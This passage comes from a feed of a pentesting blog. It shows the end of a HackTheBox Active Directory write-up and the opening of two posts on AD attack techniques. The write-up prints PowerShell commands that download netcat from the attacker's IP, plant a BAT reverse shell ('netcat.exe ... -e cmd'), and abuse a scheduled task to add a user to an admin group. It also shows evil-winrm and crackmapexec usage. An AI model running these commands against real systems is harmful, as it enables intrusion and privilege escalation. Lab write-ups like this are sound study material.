class="se"&gt;\p&lt;/span&gt;owershell.exe iwr http://10.10.16.14:33333/netexe/netcat.exe -OutFile .&lt;span class="se"&gt;\n&lt;/span&gt;etcat.exe &lt;span class="o"&gt;}&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential &lt;span class="nv"&gt;$cred&lt;/span&gt; -ScriptBlock &lt;span class="o"&gt;{&lt;/span&gt; iwr http://10.10.16.14:33333/netexe/netcat.exe -OutFile .&lt;span class="se"&gt;\n&lt;/span&gt;etcat.exe &lt;span class="o"&gt;}&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0814.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;That didn&amp;rsquo;t work. I went back to following the write-up and used this to browse the files.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -ScriptBlock &lt;span class="o"&gt;{&lt;/span&gt; ls &lt;span class="s1"&gt;&amp;#39;\program files\keepmeon&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;}&lt;/span&gt; -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential &lt;span class="nv"&gt;$cred&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0815.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Then I read the file inside.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -ScriptBlock &lt;span class="o"&gt;{&lt;/span&gt; cat &lt;span class="s1"&gt;&amp;#39;\program files\keepmeon\keepmeon.bat&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;}&lt;/span&gt; -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential &lt;span class="nv"&gt;$cred&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;REM This is run every &lt;span class="m"&gt;5&lt;/span&gt; minutes. For Lois use ONLY&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;@echo off&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;for&lt;/span&gt; /R %%x in &lt;span class="o"&gt;(&lt;/span&gt;*.bat&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="k"&gt;do&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; not &lt;span class="s2"&gt;&amp;#34;%%x&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;%~0&amp;#34;&lt;/span&gt; call &lt;span class="s2"&gt;&amp;#34;%%x&amp;#34;&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="o"&gt;)&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;This script ran every five minutes and was for Lois only.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/R recursively searches all paths&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;*.bat matches all batch files&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;%%x iterates over and stores each discovered path&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;%~0 is the current script&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;If %%x is not %~0 &lt;span class="o"&gt;(&lt;/span&gt;the current script&lt;span class="o"&gt;)&lt;/span&gt;, call executes it&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;And it ran as Lois. Did that mean I only needed to drop a BAT file containing a reverse shell? I&amp;rsquo;d already imported the credential, so I checked which commands were available.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -credential &lt;span class="nv"&gt;$cred&lt;/span&gt; -command &lt;span class="o"&gt;{&lt;/span&gt;Get-command&lt;span class="o"&gt;}&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0816.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I couldn&amp;rsquo;t use tools like curl. I couldn&amp;rsquo;t tell whether this machine could reach mine. If it could, I thought I could just pop a reverse shell directly. I tried writing a BAT file.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential &lt;span class="nv"&gt;$cred&lt;/span&gt; -ScriptBlock &lt;span class="o"&gt;{&lt;/span&gt; Set-Content -Path &lt;span class="s2"&gt;&amp;#34;C:\program files\keepmeon\1.bat&amp;#34;&lt;/span&gt; -Value &lt;span class="s1"&gt;&amp;#39;curl http://10.10.16.14:33333/ncexe/netcat.exe -o &amp;#34;C:\program files\keepmeon\netcat.exe&amp;#34;&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;}&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential &lt;span class="nv"&gt;$cred&lt;/span&gt; -ScriptBlock &lt;span class="o"&gt;{&lt;/span&gt; ls &lt;span class="s2"&gt;&amp;#34;\program files\keepmeon\&amp;#34; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential &lt;/span&gt;&lt;span class="nv"&gt;$cred&lt;/span&gt;&lt;span class="s2"&gt; -ScriptBlock { cat &amp;#34;&lt;/span&gt;&lt;span class="se"&gt;\p&lt;/span&gt;rogram files&lt;span class="se"&gt;\k&lt;/span&gt;eepmeon&lt;span class="se"&gt;\1&lt;/span&gt;.bat&lt;span class="s2"&gt;&amp;#34; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0817.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No problem. I still needed the reverse shell, though, so I wrote a 2.bat as well.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential &lt;span class="nv"&gt;$cred&lt;/span&gt; -ScriptBlock &lt;span class="o"&gt;{&lt;/span&gt; Set-Content -Path &lt;span class="s2"&gt;&amp;#34;C:\program files\keepmeon\2.bat&amp;#34;&lt;/span&gt; -Value &lt;span class="s1"&gt;&amp;#39;C:\program files\keepmeon\netcat.exe 10.10.16.14 8888 -e cmd&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;}&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential &lt;span class="nv"&gt;$cred&lt;/span&gt; -ScriptBlock &lt;span class="o"&gt;{&lt;/span&gt; ls &lt;span class="s2"&gt;&amp;#34;\program files\keepmeon\&amp;#34; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s2"&gt;Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential &lt;/span&gt;&lt;span class="nv"&gt;$cred&lt;/span&gt;&lt;span class="s2"&gt; -ScriptBlock { cat &amp;#34;&lt;/span&gt;&lt;span class="se"&gt;\p&lt;/span&gt;rogram files&lt;span class="se"&gt;\k&lt;/span&gt;eepmeon&lt;span class="se"&gt;\2&lt;/span&gt;.bat&lt;span class="s2"&gt;&amp;#34; }&#10;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0818.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;No problem. Now I just had to wait. While I waited, I thought about the next step. If the domain controller really couldn&amp;rsquo;t reach my attack machine, could I use DC01 as a pivot? What I wasn&amp;rsquo;t sure about was DC01&amp;rsquo;s IP—it looked like it was inside a container. I didn&amp;rsquo;t know whether the domain controller could reach DC01. Even if I disabled the firewall, I had no way to verify it. And with the task only running every five minutes, testing was a hassle. I&amp;rsquo;d verify it at the end.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0819.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I waited for ages without any response. Back to the write-up.&lt;/p&gt;&#10;&lt;p&gt;I checked the administrator groups. This still followed the hint in the Word document from the beginning: although Lois wasn&amp;rsquo;t a domain administrator, she could add other users to the site administrators.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -ScriptBlock &lt;span class="o"&gt;{&lt;/span&gt; net group /domain &lt;span class="o"&gt;}&lt;/span&gt; -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential &lt;span class="nv"&gt;$cred&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0820.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;This was the group. Next, I checked its details.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -ScriptBlock &lt;span class="o"&gt;{&lt;/span&gt; net group Site_Admin /domain &lt;span class="o"&gt;}&lt;/span&gt; -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential &lt;span class="nv"&gt;$cred&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0821.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The description said people were only added in emergencies and that the group could access the domain controller administrators group. According to the write-up, Site_Admin had been added directly as a member of the domain controller administrators group. In other words, users added to this group would have the same privileges as domain administrators. Lois could add users to it, so I only needed to construct a command that added the current user, awallace.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -ScriptBlock &lt;span class="o"&gt;{&lt;/span&gt; Set-Content -Path &lt;span class="s1"&gt;&amp;#39;\program files\keepmeon\3.bat&amp;#39;&lt;/span&gt; -Value &lt;span class="s1"&gt;&amp;#39;net group site_admin awallace /add /domain&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;}&lt;/span&gt; -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential &lt;span class="nv"&gt;$cred&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -ScriptBlock &lt;span class="o"&gt;{&lt;/span&gt; cat &lt;span class="s1"&gt;&amp;#39;\program files\keepmeon\3.bat&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;}&lt;/span&gt; -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential &lt;span class="nv"&gt;$cred&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;Then I just had to keep watching.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -ScriptBlock &lt;span class="o"&gt;{&lt;/span&gt; net group Site_Admin /domain &lt;span class="o"&gt;}&lt;/span&gt; -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential &lt;span class="nv"&gt;$cred&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I started waiting again. I was beginning to doubt whether it really ran every five minutes, because my 1.bat hadn&amp;rsquo;t created netcat.exe. The most likely explanation was that the network connection failed, so the file was never downloaded. To test that theory—and because I wanted to know whether the task was running at all—I wrote another file.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Invoke-Command -ScriptBlock &lt;span class="o"&gt;{&lt;/span&gt; Set-Content -Path &lt;span class="s1"&gt;&amp;#39;C:\program files\keepmeon\4.bat&amp;#39;&lt;/span&gt; -Value &lt;span class="s1"&gt;&amp;#39;echo &amp;#34;1&amp;#34; &amp;gt; 1.txt&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;}&lt;/span&gt; -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential &lt;span class="nv"&gt;$cred&lt;/span&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;I&amp;rsquo;d previously gotten an error when using &amp;gt; to write to a file, but it was still worth testing.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0822.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I waited a long time and still saw nothing. I shut the box down, started it again, and repeated the previous steps.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0823.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;netcat was created, which meant the script had run successfully.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0824.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;There was still no result, but in fact&amp;hellip;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/hackthebox-windows-boxes/image-0825.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;I could already access the flag.&lt;/p&gt;&#10;&lt;p&gt;Done.&lt;/p&gt;&#10;&lt;p&gt;I left the box running for the moment. After all, I&amp;rsquo;d written a BAT file containing a reverse shell, so I wanted to wait a little longer and shut it down if nothing happened. This box was incredibly difficult. Looking back after finishing it, it almost seemed manageable, but while I was fumbling around without a clear direction, none of these ideas came to mind. Some directories, for example, simply had to be searched over and over. The attack chain and the supporting evidence were both very complete, but the box was still brutally hard. I didn&amp;rsquo;t build a single tunnel during this attempt; all the lateral movement used native commands from inside the network. Even so, it wasn&amp;rsquo;t that cumbersome. Once I had control of DC01, I could keep moving laterally from there. This was an extremely useful box for learning.&lt;/p&gt;&#10;&lt;p&gt;There were three boxes left at this point, but I decided not to continue. For one thing, I&amp;rsquo;d already registered for OSCP and needed to start working through the labs. For another, the more boxes I completed, the harder they became. A single box could take me one or two days. I planned to try the OSCP labs first and see how difficult they were.&lt;/p&gt;&#10;</description></item><item><title>Active Directory Pentesting: Common Techniques</title><link>http://xtpol.com/p/active-directory-common-techniques/</link><pubDate>Mon, 25 Nov 2024 12:00:00 +0800</pubDate><guid>http://xtpol.com/p/active-directory-common-techniques/</guid><description>&lt;h2 id="1-wsmanwinrm"&gt;&lt;a href="#1-wsmanwinrm" class="header-anchor"&gt;&lt;/a&gt;1. WSMan/WinRM&#10;&lt;/h2&gt;&lt;h1 id="winrm-uses-ports-5985-http-and-5986-https-by-default"&gt;&lt;a href="#winrm-uses-ports-5985-http-and-5986-https-by-default" class="header-anchor"&gt;&lt;/a&gt;WinRM Uses Ports 5985 (HTTP) and 5986 (HTTPS) by Default&#10;&lt;/h1&gt;&lt;p&gt;If WinRM is enabled on the domain controller, once we get hold of an account:&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Use crackmapexec to check privileges&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;crackmapexec winrm &amp;lt;DC_IP&amp;gt; -u svc-account -p password --shares&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Try WinRM&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;evil-winrm -i &amp;lt;DC_IP&amp;gt; -u svc-account -p password&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Bypass-4MSI switches to cmd&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;</description></item><item><title>Active Directory Pentesting: Targeting Common Services</title><link>http://xtpol.com/p/active-directory-services/</link><pubDate>Sun, 24 Nov 2024 22:55:00 +0800</pubDate><guid>http://xtpol.com/p/active-directory-services/</guid><description>&lt;h3 id="1-spn"&gt;&lt;a href="#1-spn" class="header-anchor"&gt;&lt;/a&gt;1. SPN&#10;&lt;/h3&gt;&lt;h5 id="spn-basics"&gt;&lt;a href="#spn-basics" class="header-anchor"&gt;&lt;/a&gt;SPN Basics:&#10;&lt;/h5&gt;&lt;ul&gt;&#10;&lt;li&gt;SPN stands for Service Principal Name and uniquely identifies a service instance in a domain environment&lt;/li&gt;&#10;&lt;li&gt;Its usual format is: service type/hostname&lt;/li&gt;&#10;&lt;li&gt;For example: HTTP/webserver.domain.com&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h5 id="why-spns-matter"&gt;&lt;a href="#why-spns-matter" class="header-anchor"&gt;&lt;/a&gt;Why SPNs Matter:&#10;&lt;/h5&gt;&lt;ul&gt;&#10;&lt;li&gt;They are a key part of Kerberos authentication&lt;/li&gt;&#10;&lt;li&gt;When a user accesses a service, its SPN is used to obtain a Kerberos ticket for that service&lt;/li&gt;&#10;&lt;li&gt;A service account&amp;rsquo;s SPN information is stored in Active Directory&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h5 id="why-scan-for-spns"&gt;&lt;a href="#why-scan-for-spns" class="header-anchor"&gt;&lt;/a&gt;Why Scan for SPNs:&#10;&lt;/h5&gt;&lt;ul&gt;&#10;&lt;li&gt;Discover services registered in the domain&lt;/li&gt;&#10;&lt;li&gt;Identify potential service accounts&lt;/li&gt;&#10;&lt;li&gt;Prepare for a later Kerberoasting attack&lt;/li&gt;&#10;&lt;/ul&gt;&#10;&lt;h5 id="lab-setup"&gt;&lt;a href="#lab-setup" class="header-anchor"&gt;&lt;/a&gt;Lab 